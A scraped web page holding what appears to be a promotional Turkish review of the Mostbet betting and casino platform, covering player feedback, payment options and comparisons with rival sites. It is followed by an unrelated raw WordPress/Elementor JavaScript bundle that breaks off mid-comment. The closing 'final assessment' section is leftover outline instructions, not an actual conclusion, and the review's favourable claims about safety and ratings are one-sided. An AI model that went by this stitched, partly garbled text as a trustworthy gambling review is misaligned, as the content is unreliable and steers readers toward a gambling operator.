Özellikle, Türkiye’ye özel Papara ve Jeton ödeme çözümlerinin platformda mevcut olması, yerel kullanıcılar için ciddi bir avantaj sayılmaktadır. Para transferi işlemlerinin ortalama yarım saatten birkaç saate kadar sonuçlanması da platforma olan güveni güçlendirmektedir.

Ancak, bir kısım bahis sever, promosyon kurallarının karmaşık olmasından ve canlı desteğin pik saatlerde geç dönmesinden yakınmaktadır. Ayrıca, ilk ödeme talebinde bulunan oyuncuların kimlik onay prosedürü bazen sürecin uzamasına neden olabilmektedir. Buna karşın bu tip yorumlar, genellikle tekil örnekler olarak kalmakta ve platform yönetimi tarafından takip edilip düzeltilmektedir.

Bazı bahis severler, daha çok turnuva ve etkinlik fırsatı yaratılmasını talep etmekte. VIP statüsündeki üyeler, loyalty programının daha belirgin tanıtılmasını ifade etmektedir. Buna karşın, Mostbet platformunun toplam memnuniyet skoru üst seviyededir ve tarafsız inceleme portallarında ortalama 3.5-4 yıldız puanı kazanmıştır.

Özetle, oyuncu geri bildirimleri, Mostbet’in güçlü, çeşitli ve güvenli bir online bahis platformu olduğunu kanıtlamaktadır. Ara sıra rastlanan minör problemler haricinde, kullanıcılar siteyi genel anlamda beğenmektedir ve platformda düzenli oynamaktadır.

Türkiye kumar piyasasındaki Rakip Sitelerle Değerlendirme

Türkiye dijital bahis ve casino pazarı, sürekli büyüme trendinde olan ve yüksek rekabet ortamına dönüşmüştür. Bu pazarda yer alan pek çok yabancı ve yerli platform, çeşitli kampanyalarla oyuncu kazanma mücadelesindedir. Mostbet, bu kalabalık pazarda kendine güçlü bir yer bulmuş ve bazı hizmet alanlarında öne çıkmıştır.

İlk olarak Türkiye’de popüler olan ve sıkça tercih edilen diğer platformlar arasında Betboo, Bahsine, Betsson, Youwin, Rivalo, Jetbahis gibi platformlar karşımıza çıkar. Bu platformlar çoğunlukla oyun çeşitleri bakımından yakın olsa da, aralarındaki farklar; lisans kaynakları, ödeme seçenekleri, bonus sistemleri, müşteri desteği ve mobil kullanım deneyimi gibi başlıklarda fark yaratır.

Mostbet markası, oyun stüdyoları bakımından diğer platformlara göre daha çeşitli bir yelpaze sunar. Özellikle de, slot oyunları ve gerçek krupiyeli oyunlarda Evolution, Pragmatic Play, NetEnt gibi global lider sağlayıcılarla iş ortaklığı yapması, platformu kalite yönünden farklılaştırır. Bazı alternatif siteler aynı kalitede içerik sağlayıcı kullanmamakta veya bazı içerikleri bölgesel olarak kapatmaktadır.

Ödeme seçenekleri yönünden incelendiğinde, Mostbet platformunun Türkiye pazarında popüler olan Papara, Jeton ve kripto seçeneklerini desteklemesi büyük bir avantajdır. Rakiplerin bir bölümü hâlâ yalnızca banka işlemlerine ve kartla ödemelere izin verirken, Mostbet’in ek ödeme yöntemleri kullanıcıların finansal işlemlerini basitleştirmektedir.

Kampanya ve bonus şartları da kıyaslama yapmak için önemli bir ölçüttür. Mostbet’in sunduğu hoş geldin bonusu ve sadakat avantajları, rakiplerine oranla daha bonkördür. Ek olarak, bonus çevrim koşullarının açıkça belirtilmesi, kullanıcıların rahat etmesini sağlamaktadır. Alternatif sitelerde bonuslar daha kısıtlı veya şartlar daha zor anlaşılabilir.

Kullanıcı destek tarafında ise Mostbet platformunun kesintisiz Türkçe yardım sağlaması, yerel oyuncular için büyük bir avantajdır. Uluslararası bazı sitelerde sadece İngilizce destek verilmesi ya da sadece belli saatlerde hizmet verilmesi, kullanıcı deneyimini olumsuz etkileyebilir.

Mobil erişim konusunda ise Mostbet, temiz tasarımı ve hızlı mobil erişimiyle avantajlı durumdadır. Rakiplerinden bazıları hâlâ yalnızca mobil uyumlu web sürümü sunarken, Mostbet Android ve iOS için indirilebilir uygulamalar sunmaktadır. Genel değerlendirme yapıldığında, Mostbet Türkiye piyasasında sağlam ve rekabetçi bir konumdadır. Özellikle oyun zenginliği, çeşitli ödeme seçenekleri ve basit arayüzüyle öne çıkan platform, farklı kullanıcı profillerine hitap edecek bir yapıya sahiptir.

Son Değerlendirme

Kısaca, inceleme kapsamındaki başlıkların sunulmaya başlanır. İlk olarak, Mostbet dijital platformunun güçlü-zayıf yanları, özetle sunulur. lisanslama durumu, oyun çeşitliliği, promosyon programları, ödeme yöntemleri ve kullanıcı destek hizmetleri gibi temel alanlardaki başarısını vurgulanır.

Bunun ardından, sitenin hangi kullanıcı grubuna yönelik olduğunun belirtilir: zengin slot ve canlı seçenekleri talep eden deneyimli kullanıcılar için mi, yoksa tecrübesiz bahisçiler için daha ideal olduğu belirtilir. Son olarak, okuyucuya faydalı tavsiyeler sağlanır: Hesap oluşturmadan önce yasal lisans durumu ile güvenlik şartlarının kontrol edilmesinin önem taşıdığı, oyun deneyimi boyunca sorumlu bahis ilkelerinin takip edilmesinin zorunlu olduğu, Ek olarak alternatif sitelerle mukayesenin ve güncel kampanyaların düzenli izlenmesinin önerildiği. Böyle bir sonuçla okuyucu, hem platform hakkında genel bir kanaate sahip olur hem de bireysel ihtiyaçlarına göre seçim yapabilir.

/*! elementor - v3.27.0 - 16-02-2025 */ /******/ (() => { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ "../node_modules/@wordpress/element/build-module/create-interpolate-element.js": /*!*************************************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/create-interpolate-element.js ***! \*************************************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) /* harmony export */ }); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./react */ "react"); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_react__WEBPACK_IMPORTED_MODULE_0__); /** * Internal dependencies */ /** * Object containing a React element. * * @typedef {import('react').ReactElement} Element */ let indoc, offset, output, stack; /** * Matches tags in the localized string * * This is used for extracting the tag pattern groups for parsing the localized * string and along with the map converting it to a react element. * * There are four references extracted using this tokenizer: * * match: Full match of the tag (i.e. , ,
) * isClosing: The closing slash, if it exists. * name: The name portion of the tag (strong, br) (if ) * isSelfClosed: The slash on a self closing tag, if it exists. * * @type {RegExp} */ const tokenizer = /<(\/)?(\w+)\s*(\/)?>/g; /** * The stack frame tracking parse progress. * * @typedef Frame * * @property {Element} element A parent element which may still have * @property {number} tokenStart Offset at which parent element first * appears. * @property {number} tokenLength Length of string marking start of parent * element. * @property {number} [prevOffset] Running offset at which parsing should * continue. * @property {number} [leadingTextStart] Offset at which last closing element * finished, used for finding text between * elements. * @property {Element[]} children Children. */ /** * Tracks recursive-descent parse state. * * This is a Stack frame holding parent elements until all children have been * parsed. * * @private * @param {Element} element A parent element which may still have * nested children not yet parsed. * @param {number} tokenStart Offset at which parent element first * appears. * @param {number} tokenLength Length of string marking start of parent * element. * @param {number} [prevOffset] Running offset at which parsing should * continue. * @param {number} [leadingTextStart] Offset at which last closing element * finished, used for finding text between * elements. * * @return {Frame} The stack frame tracking parse progress. */ function createFrame(element, tokenStart, tokenLength, prevOffset, leadingTextStart) { return { element, tokenStart, tokenLength, prevOffset, leadingTextStart, children: [] }; } /** * This function creates an interpolated element from a passed in string with * specific tags matching how the string should be converted to an element via * the conversion map value. * * @example * For example, for the given string: * * "This is a string with a link and a self-closing * tag" * * You would have something like this as the conversionMap value: * * ```js * { * span: , * a: , * CustomComponentB: , * } * ``` * * @param {string} interpolatedString The interpolation string to be parsed. * @param {Record} conversionMap The map used to convert the string to * a react element. * @throws {TypeError} * @return {Element} A wp element. */ const createInterpolateElement = (interpolatedString, conversionMap) => { indoc = interpolatedString; offset = 0; output = []; stack = []; tokenizer.lastIndex = 0; if (!isValidConversionMap(conversionMap)) { throw new TypeError('The conversionMap provided is not valid. It must be an object with values that are React Elements'); } do { // twiddle our thumbs } while (proceed(conversionMap)); return (0,_react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_react__WEBPACK_IMPORTED_MODULE_0__.Fragment, null, ...output); }; /** * Validate conversion map. * * A map is considered valid if it's an object and every value in the object * is a React Element * * @private * * @param {Object} conversionMap The map being validated. * * @return {boolean} True means the map is valid. */ const isValidConversionMap = conversionMap => { const isObject = typeof conversionMap === 'object'; const values = isObject && Object.values(conversionMap); return isObject && values.length && values.every(element => (0,_react__WEBPACK_IMPORTED_MODULE_0__.isValidElement)(element)); }; /** * This is the iterator over the matches in the string. * * @private * * @param {Object} conversionMap The conversion map for the string. * * @return {boolean} true for continuing to iterate, false for finished. */ function proceed(conversionMap) { const next = nextToken(); const [tokenType, name, startOffset, tokenLength] = next; const stackDepth = stack.length; const leadingTextStart = startOffset > offset ? offset : null; if (!conversionMap[name]) { addText(); return false; } switch (tokenType) { case 'no-more-tokens': if (stackDepth !== 0) { const { leadingTextStart: stackLeadingText, tokenStart } = stack.pop(); output.push(indoc.substr(stackLeadingText, tokenStart)); } addText(); return false; case 'self-closed': if (0 === stackDepth) { if (null !== leadingTextStart) { output.push(indoc.substr(leadingTextStart, startOffset - leadingTextStart)); } output.push(conversionMap[name]); offset = startOffset + tokenLength; return true; } // Otherwise we found an inner element. addChild(createFrame(conversionMap[name], startOffset, tokenLength)); offset = startOffset + tokenLength; return true; case 'opener': stack.push(createFrame(conversionMap[name], startOffset, tokenLength, startOffset + tokenLength, leadingTextStart)); offset = startOffset + tokenLength; return true; case 'closer': // If we're not nesting then this is easy - close the block. if (1 === stackDepth) { closeOuterElement(startOffset); offset = startOffset + tokenLength; return true; } // Otherwise we're nested and we have to close out the current // block and add it as a innerBlock to the parent. const stackTop = stack.pop(); const text = indoc.substr(stackTop.prevOffset, startOffset - stackTop.prevOffset); stackTop.children.push(text); stackTop.prevOffset = startOffset + tokenLength; const frame = createFrame(stackTop.element, stackTop.tokenStart, stackTop.tokenLength, startOffset + tokenLength); frame.children = stackTop.children; addChild(frame); offset = startOffset + tokenLength; return true; default: addText(); return false; } } /** * Grabs the next token match in the string and returns it's details. * * @private * * @return {Array} An array of details for the token matched. */ function nextToken() { const matches = tokenizer.exec(indoc); // We have no more tokens. if (null === matches) { return ['no-more-tokens']; } const startedAt = matches.index; const [match, isClosing, name, isSelfClosed] = matches; const length = match.length; if (isSelfClosed) { return ['self-closed', name, startedAt, length]; } if (isClosing) { return ['closer', name, startedAt, length]; } return ['opener', name, startedAt, length]; } /** * Pushes text extracted from the indoc string to the output stack given the * current rawLength value and offset (if rawLength is provided ) or the * indoc.length and offset. * * @private */ function addText() { const length = indoc.length - offset; if (0 === length) { return; } output.push(indoc.substr(offset, length)); } /** * Pushes a child element to the associated parent element's children for the * parent currently active in the stack. * * @private * * @param {Frame} frame The Frame containing the child element and it's * token information. */ function addChild(frame) { const { element, tokenStart, tokenLength, prevOffset, children } = frame; const parent = stack[stack.length - 1]; const text = indoc.substr(parent.prevOffset, tokenStart - parent.prevOffset); if (text) { parent.children.push(text); } parent.children.push((0,_react__WEBPACK_IMPORTED_MODULE_0__.cloneElement)(element, null, ...children)); parent.prevOffset = prevOffset ? prevOffset : tokenStart + tokenLength; } /** * This is called for closing tags. It creates the element currently active in * the stack. * * @private * * @param {number} endOffset Offset at which the closing tag for the element * begins in the string. If this is greater than the * prevOffset attached to the element, then this * helps capture any remaining nested text nodes in * the element. */ function closeOuterElement(endOffset) { const { element, leadingTextStart, prevOffset, tokenStart, children } = stack.pop(); const text = endOffset ? indoc.substr(prevOffset, endOffset - prevOffset) : indoc.substr(prevOffset); if (text) { children.push(text); } if (null !== leadingTextStart) { output.push(indoc.substr(leadingTextStart, tokenStart - leadingTextStart)); } output.push((0,_react__WEBPACK_IMPORTED_MODULE_0__.cloneElement)(element, null, ...children)); } /* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = (createInterpolateElement); //# sourceMappingURL=create-interpolate-element.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/index.js": /*!****************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/index.js ***! \****************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ Children: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.Children), /* harmony export */ Component: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.Component), /* harmony export */ Fragment: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.Fragment), /* harmony export */ Platform: () => (/* reexport safe */ _platform__WEBPACK_IMPORTED_MODULE_4__["default"]), /* harmony export */ PureComponent: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.PureComponent), /* harmony export */ RawHTML: () => (/* reexport safe */ _raw_html__WEBPACK_IMPORTED_MODULE_6__["default"]), /* harmony export */ StrictMode: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.StrictMode), /* harmony export */ Suspense: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.Suspense), /* harmony export */ cloneElement: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.cloneElement), /* harmony export */ concatChildren: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.concatChildren), /* harmony export */ createContext: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.createContext), /* harmony export */ createElement: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.createElement), /* harmony export */ createInterpolateElement: () => (/* reexport safe */ _create_interpolate_element__WEBPACK_IMPORTED_MODULE_0__["default"]), /* harmony export */ createPortal: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.createPortal), /* harmony export */ createRef: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.createRef), /* harmony export */ createRoot: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.createRoot), /* harmony export */ findDOMNode: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.findDOMNode), /* harmony export */ flushSync: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.flushSync), /* harmony export */ forwardRef: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.forwardRef), /* harmony export */ hydrate: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.hydrate), /* harmony export */ hydrateRoot: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.hydrateRoot), /* harmony export */ isEmptyElement: () => (/* reexport safe */ _utils__WEBPACK_IMPORTED_MODULE_3__.isEmptyElement), /* harmony export */ isValidElement: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.isValidElement), /* harmony export */ lazy: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.lazy), /* harmony export */ memo: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.memo), /* harmony export */ render: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.render), /* harmony export */ renderToString: () => (/* reexport safe */ _serialize__WEBPACK_IMPORTED_MODULE_5__["default"]), /* harmony export */ startTransition: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.startTransition), /* harmony export */ switchChildrenNodeName: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.switchChildrenNodeName), /* harmony export */ unmountComponentAtNode: () => (/* reexport safe */ _react_platform__WEBPACK_IMPORTED_MODULE_2__.unmountComponentAtNode), /* harmony export */ useCallback: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useCallback), /* harmony export */ useContext: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useContext), /* harmony export */ useDebugValue: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useDebugValue), /* harmony export */ useDeferredValue: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useDeferredValue), /* harmony export */ useEffect: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useEffect), /* harmony export */ useId: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useId), /* harmony export */ useImperativeHandle: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useImperativeHandle), /* harmony export */ useInsertionEffect: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useInsertionEffect), /* harmony export */ useLayoutEffect: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useLayoutEffect), /* harmony export */ useMemo: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useMemo), /* harmony export */ useReducer: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useReducer), /* harmony export */ useRef: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useRef), /* harmony export */ useState: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useState), /* harmony export */ useSyncExternalStore: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useSyncExternalStore), /* harmony export */ useTransition: () => (/* reexport safe */ _react__WEBPACK_IMPORTED_MODULE_1__.useTransition) /* harmony export */ }); /* harmony import */ var _create_interpolate_element__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./create-interpolate-element */ "../node_modules/@wordpress/element/build-module/create-interpolate-element.js"); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./react */ "../node_modules/@wordpress/element/build-module/react.js"); /* harmony import */ var _react_platform__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./react-platform */ "../node_modules/@wordpress/element/build-module/react-platform.js"); /* harmony import */ var _utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./utils */ "../node_modules/@wordpress/element/build-module/utils.js"); /* harmony import */ var _platform__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./platform */ "../node_modules/@wordpress/element/build-module/platform.js"); /* harmony import */ var _serialize__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./serialize */ "../node_modules/@wordpress/element/build-module/serialize.js"); /* harmony import */ var _raw_html__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./raw-html */ "../node_modules/@wordpress/element/build-module/raw-html.js"); //# sourceMappingURL=index.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/platform.js": /*!*******************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/platform.js ***! \*******************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) /* harmony export */ }); /** * Parts of this source were derived and modified from react-native-web, * released under the MIT license. * * Copyright (c) 2016-present, Nicolas Gallagher. * Copyright (c) 2015-present, Facebook, Inc. * */ const Platform = { OS: 'web', select: spec => 'web' in spec ? spec.web : spec.default, isWeb: true }; /** * Component used to detect the current Platform being used. * Use Platform.OS === 'web' to detect if running on web enviroment. * * This is the same concept as the React Native implementation. * * @see https://reactnative.dev/docs/platform-specific-code#platform-module * * Here is an example of how to use the select method: * @example * ```js * import { Platform } from '@wordpress/element'; * * const placeholderLabel = Platform.select( { * native: __( 'Add media' ), * web: __( 'Drag images, upload new ones or select files from your library.' ), * } ); * ``` */ /* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = (Platform); //# sourceMappingURL=platform.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/raw-html.js": /*!*******************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/raw-html.js ***! \*******************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (/* binding */ RawHTML) /* harmony export */ }); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./react */ "react"); /* harmony import */ var _react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_react__WEBPACK_IMPORTED_MODULE_0__); /** * Internal dependencies */ /** @typedef {{children: string} & import('react').ComponentPropsWithoutRef<'div'>} RawHTMLProps */ /** * Component used as equivalent of Fragment with unescaped HTML, in cases where * it is desirable to render dangerous HTML without needing a wrapper element. * To preserve additional props, a `div` wrapper _will_ be created if any props * aside from `children` are passed. * * @param {RawHTMLProps} props Children should be a string of HTML or an array * of strings. Other props will be passed through * to the div wrapper. * * @return {JSX.Element} Dangerously-rendering component. */ function RawHTML({ children, ...props }) { let rawHtml = ''; // Cast children as an array, and concatenate each element if it is a string. _react__WEBPACK_IMPORTED_MODULE_0__.Children.toArray(children).forEach(child => { if (typeof child === 'string' && child.trim() !== '') { rawHtml += child; } }); // The `div` wrapper will be stripped by the `renderElement` serializer in // `./serialize.js` unless there are non-children props present. return (0,_react__WEBPACK_IMPORTED_MODULE_0__.createElement)('div', { dangerouslySetInnerHTML: { __html: rawHtml }, ...props }); } //# sourceMappingURL=raw-html.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/react-platform.js": /*!*************************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/react-platform.js ***! \*************************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ createPortal: () => (/* reexport safe */ react_dom__WEBPACK_IMPORTED_MODULE_0__.createPortal), /* harmony export */ createRoot: () => (/* reexport safe */ react_dom_client__WEBPACK_IMPORTED_MODULE_1__.createRoot), /* harmony export */ findDOMNode: () => (/* reexport safe */ react_dom__WEBPACK_IMPORTED_MODULE_0__.findDOMNode), /* harmony export */ flushSync: () => (/* reexport safe */ react_dom__WEBPACK_IMPORTED_MODULE_0__.flushSync), /* harmony export */ hydrate: () => (/* reexport safe */ react_dom__WEBPACK_IMPORTED_MODULE_0__.hydrate), /* harmony export */ hydrateRoot: () => (/* reexport safe */ react_dom_client__WEBPACK_IMPORTED_MODULE_1__.hydrateRoot), /* harmony export */ render: () => (/* reexport safe */ react_dom__WEBPACK_IMPORTED_MODULE_0__.render), /* harmony export */ unmountComponentAtNode: () => (/* reexport safe */ react_dom__WEBPACK_IMPORTED_MODULE_0__.unmountComponentAtNode) /* harmony export */ }); /* harmony import */ var react_dom__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react-dom */ "react-dom"); /* harmony import */ var react_dom__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react_dom__WEBPACK_IMPORTED_MODULE_0__); /* harmony import */ var react_dom_client__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! react-dom/client */ "../node_modules/react-dom/client.js"); /** * External dependencies */ /** * Creates a portal into which a component can be rendered. * * @see https://github.com/facebook/react/issues/10309#issuecomment-318433235 * * @param {import('react').ReactElement} child Any renderable child, such as an element, * string, or fragment. * @param {HTMLElement} container DOM node into which element should be rendered. */ /** * Finds the dom node of a React component. * * @param {import('react').ComponentType} component Component's instance. */ /** * Forces React to flush any updates inside the provided callback synchronously. * * @param {Function} callback Callback to run synchronously. */ /** * Renders a given element into the target DOM node. * * @deprecated since WordPress 6.2.0. Use `createRoot` instead. * @see https://react.dev/reference/react-dom/render */ /** * Hydrates a given element into the target DOM node. * * @deprecated since WordPress 6.2.0. Use `hydrateRoot` instead. * @see https://react.dev/reference/react-dom/hydrate */ /** * Creates a new React root for the target DOM node. * * @since 6.2.0 Introduced in WordPress core. * @see https://react.dev/reference/react-dom/client/createRoot */ /** * Creates a new React root for the target DOM node and hydrates it with a pre-generated markup. * * @since 6.2.0 Introduced in WordPress core. * @see https://react.dev/reference/react-dom/client/hydrateRoot */ /** * Removes any mounted element from the target DOM node. * * @deprecated since WordPress 6.2.0. Use `root.unmount()` instead. * @see https://react.dev/reference/react-dom/unmountComponentAtNode */ //# sourceMappingURL=react-platform.js.map /***/ }), /***/ "../node_modules/@wordpress/element/build-module/react.js": /*!****************************************************************!*\ !*** ../node_modules/@wordpress/element/build-module/react.js ***! \****************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ Children: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.Children), /* harmony export */ Component: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.Component), /* harmony export */ Fragment: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.Fragment), /* harmony export */ PureComponent: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.PureComponent), /* harmony export */ StrictMode: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.StrictMode), /* harmony export */ Suspense: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.Suspense), /* harmony export */ cloneElement: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.cloneElement), /* harmony export */ concatChildren: () => (/* binding */ concatChildren), /* harmony export */ createContext: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.createContext), /* harmony export */ createElement: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.createElement), /* harmony export */ createRef: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.createRef), /* harmony export */ forwardRef: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.forwardRef), /* harmony export */ isValidElement: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.isValidElement), /* harmony export */ lazy: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.lazy), /* harmony export */ memo: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.memo), /* harmony export */ startTransition: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.startTransition), /* harmony export */ switchChildrenNodeName: () => (/* binding */ switchChildrenNodeName), /* harmony export */ useCallback: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useCallback), /* harmony export */ useContext: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useContext), /* harmony export */ useDebugValue: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useDebugValue), /* harmony export */ useDeferredValue: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useDeferredValue), /* harmony export */ useEffect: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useEffect), /* harmony export */ useId: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useId), /* harmony export */ useImperativeHandle: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useImperativeHandle), /* harmony export */ useInsertionEffect: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useInsertionEffect), /* harmony export */ useLayoutEffect: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useLayoutEffect), /* harmony export */ useMemo: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useMemo), /* harmony export */ useReducer: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useReducer), /* harmony export */ useRef: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useRef), /* harmony export */ useState: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useState), /* harmony export */ useSyncExternalStore: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useSyncExternalStore), /* harmony export */ useTransition: () => (/* reexport safe */ react__WEBPACK_IMPORTED_MODULE_0__.useTransition) /* harmony export */ }); /* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react"); /* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__); /** * External dependencies */ // eslint-disable-next-line @typescript-eslint/no-restricted-imports /** * Object containing a React element. * * @typedef {import('react').ReactElement} Element */ /** * Object containing a React component. * * @typedef {import('react').ComponentType} ComponentType */ /** * Object containing a React synthetic event. * * @typedef {import('react').SyntheticEvent} SyntheticEvent */ /** * Object containing a React synthetic event. * * @template T * @typedef {import('react').RefObject} RefObject */ /** * Object that provides utilities for dealing with React children. */ /** * Creates a copy of an element with extended props. * * @param {Element} element Element * @param {?Object} props Props to apply to cloned element * * @return {Element} Cloned element. */ /** * A base class to create WordPress Components (Refs, state and lifecycle hooks) */ /** * Creates a context object containing two components: a provider and consumer. * * @param {Object} defaultValue A default data stored in the context. * * @return {Object} Context object. */ /** * Returns a new element of given type. Type can be either a string tag name or * another function which itself returns an element. * * @param {?(string|Function)} type Tag name or element creator * @param {Object} props Element properties, either attribute * set to apply to DOM node or values to * pass through to element creator * @param {...Element} children Descendant elements * * @return {Element} Element. */ /** * Returns an object tracking a reference to a rendered element via its * `current` property as either a DOMElement or Element, dependent upon the * type of element rendered with the ref attribute. * * @return {Object} Ref object. */ /** * Component enhancer used to enable passing a ref to its wrapped component. * Pass a function argument which receives `props` and `ref` as its arguments, * returning an element using the forwarded ref. The return value is a new * component which forwards its ref. * * @param {Function} forwarder Function passed `props` and `ref`, expected to * return an element. * * @return {Component} Enhanced component. */ /** * A component which renders its children without any wrapping element. */ /** * Checks if an object is a valid React Element. * * @param {Object} 